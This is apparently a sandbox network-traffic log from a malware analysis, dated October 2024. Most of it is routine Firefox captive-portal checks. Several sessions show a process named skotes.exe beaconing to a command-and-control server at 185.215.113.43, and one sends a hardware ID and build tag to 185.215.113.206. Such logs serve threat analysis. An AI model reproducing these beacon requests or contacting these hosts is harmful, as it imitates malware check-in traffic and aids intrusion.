Oct 31, 2024 01:20:25.538651943 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71352 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	50092	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:25.199286938 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50094	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:25.331754923 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	50096	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:25.653754950 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:20:26.257721901 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71375 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	50098	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:25.855771065 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:26.483642101 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71353 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:26.539278984 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:26.669713974 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71353 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:26.748506069 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:26.878540993 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71353 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:27.097493887 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:27.227055073 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71354 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:27.603589058 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:27.733290911 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71354 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:28.238975048 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:28.369054079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71355 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	50103	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:26.493438959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	50104	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:26.713382959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50106	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:26.798460007 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:27.701112032 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	50107	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:26.899418116 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	50108	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:27.307126999 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	50110	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:27.745064020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:20:28.373830080 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71377 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	50111	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:28.379142046 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:20:28.974417925 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71377 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50113	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:29.230592012 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:30.145812988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50116	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:31.816709995 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:32.722657919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	50117	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:34.360874891 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:35.231401920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	50118	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:37.028131962 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:37.941862106 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	50119	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:39.022274017 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:20:39.931174994 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:20:39.934919119 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGIIECGHCAKECAFBFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 2d 2d 0d 0a Data Ascii: ------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="hwid"621030F647411176838713------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="build"tale------GCBGIIECGHCAKECAFBFH--
Oct 31, 2024 01:20:40.217499971 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	50120	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:39.737560034 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:40.659320116 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	50121	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:43.136683941 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:44.050926924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	50122	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:45.858858109 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:46.759352922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	50130	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:48.970649958 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:49.577661037 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71376 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:49.749002934 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:49.875400066 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71376 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:50.118799925 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
